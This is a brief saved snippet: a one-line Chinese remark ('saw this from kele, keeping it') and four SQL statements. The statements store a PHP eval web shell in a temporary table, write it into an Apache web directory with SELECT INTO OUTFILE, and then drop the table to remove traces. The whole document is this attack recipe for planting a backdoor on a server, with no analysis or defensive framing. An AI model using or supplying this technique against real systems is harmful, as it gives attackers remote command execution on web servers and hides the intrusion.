从kele那儿看的。留着吧。

Create TABLE tmdsb(shell text NOT NULL);
Insert INTO tmdsb (shell) VALUES('<?php eval($_POST[a]);?>');
select shell from tmdsb into outfile '\\usr\\local\\apache\\';
Drop TABLE tmdsb;